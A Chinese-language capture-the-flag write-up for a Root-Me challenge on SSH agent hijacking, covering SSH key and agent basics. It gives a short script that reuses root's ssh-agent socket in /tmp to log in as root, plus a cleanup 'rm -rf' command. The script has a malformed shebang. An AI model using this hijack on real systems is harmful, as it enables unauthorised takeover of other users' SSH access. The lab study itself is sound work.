CTF-rootme 題解之SSH Agent Hijacking


LINK:https://www.root-me.org/en/Challenges/App-Script/SSH-Agent-Hijacking

Referrence:https://www.cnblogs.com/mondol/p/6400699.html

        https://github.com/Djazouli/RootMeHelp/blob/06d4ad358f43217c12dc8a36dc41ef9cea787f69/AppScript/SSH_Agent_Hijacking.md

 使用admin/admin賬號口令遠程登陸到目標主機,每隔一分鍾,root賬戶會發送一個廣播,內容如下:

Broadcast message from admin@root-me (somewhere) (Thu Mar 28 11:27:02 2019):   

Good Luck !

並且root用戶會在/tmp/ssh-*(*號代表隨機字符串)目錄下創建agent.*文件,例如:/tmp/ssh-QSbtKYZnV2z2/agent.8291

我們需要在root用戶創建agent文件到時候使用該文件來驗證ssh的私鑰密碼,並且這個文件生成之后會瞬間就刪除掉,所以需要我們使用shell腳本完成解題。

完成解題之前,我們先梳理一下如何創建ssh遠程無密碼登陸。

第一步:在客戶端主機上生成ssh公鑰文件

[root@server ~]# ssh-keygen -b 1024 -t rsa
Generating public/private rsa key pair.     #提示正在生成rsa密鑰對
Enter file in which to save the key (/home/usrname/.ssh/id_dsa):     #詢問公鑰和私鑰存放的位置,回車用默認位置即可
Enter passphrase (empty for no passphrase):     #詢問輸入私鑰密語,輸入密語,如果該密碼為空,就可以實現遠程無密碼登陸,如果設置相應口令,登陸時就需要驗證該口令。
Enter same passphrase again:     #再次提示輸入密語確認
Your identification has been saved in /home/usrname/.ssh/id_dsa.     #提示公鑰和私鑰已經存放在/root/.ssh/目錄下
Your public key has been saved in /home/usrname/.ssh/id_dsa.pub.
The key fingerprint is:
x6:68:xx:93:98:8x:87:95:7x:2x:4x:x9:81:xx:56:94 root@server     #提示key的指紋 
 

第二步:將客戶端主機的ssh公鑰文件拷貝到目標主機的~/.ssh/目錄下。

scp /root/.ssh/id_dsa.pub root@target_host:/root/.ssh/authorized_keys.

如果第一步沒有設置客戶端ssh私鑰對應的密語的話,我們可以使用ssh root@target_host直接遠程登錄到目標主機,如果設置了密語就需要我們記住密語,那么我們也可以使用ssh-agent(ssh代理)來幫我們記住這個密語,這樣我們就可以實現無密碼登陸的功能。

開啟ssh-agent:eval `ssh-agent`

在客戶端主機配置ssh-agent記住私鑰密語。

[root@server ~]# ssh-add ~/.ssh/id_dsa
Enter passphrase for /home/user/.ssh/id_dsa:     #輸入你的密碼短語
Identity added: /home/user/.ssh/id_dsa (/home/user/.ssh/id_dsa) 
[root@server ~]# ssh-add -l     #查看 ssh代理的緩存內容
1024 72:78:5e:6b:16:fd:f2:8c:81:b1:18:e6:9f:77:6e:be /root/.ssh/id_rsa (RSA)

關閉ssh-agent:ssh-agent -k

查看系統環境變量直接運行ssh-agent。

編寫如下解題腳本script.sh

#!/bin/bash/expect -f
cd /tmp/ssh-*
export SSH_AUTH_SOCK=$PWD/$(ls)
ssh root@localhost

當出現Broadcast message.......的提示后,運行source script.sh來運行該腳本,進入root的shell下。如果遇到不成功的情況,嘗試rm -rf /tmp/ssh-*之后再重新操作。

 cat /root/.flag得到本題答案。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM